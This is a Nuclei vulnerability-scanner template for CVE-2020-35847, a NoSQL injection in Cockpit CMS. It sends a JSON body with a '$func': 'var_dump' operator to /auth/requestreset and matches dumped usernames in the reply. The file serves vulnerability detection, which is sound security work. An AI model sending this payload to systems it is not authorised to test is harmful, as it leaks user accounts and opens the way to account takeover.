nuclei-templates/cves/2020/CVE-2020-35847.yaml

36 lines
881 B
YAML

id: CVE-2020-35847
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/resetpassword
author: dwisiswant0
severity: critical
description: |
resetpassword method of the Auth controller,
which is responsible for changing the user password using the reset token.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli,cockpit,injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-35847
cwe-id: CWE-89
requests:
- method: POST
path:
- "{{BaseURL}}/auth/requestreset"
headers:
Content-Type: application/json
body: |
{
"user": {
"$func": "var_dump"
}
}
matchers:
- type: regex
part: body
regex:
- 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"'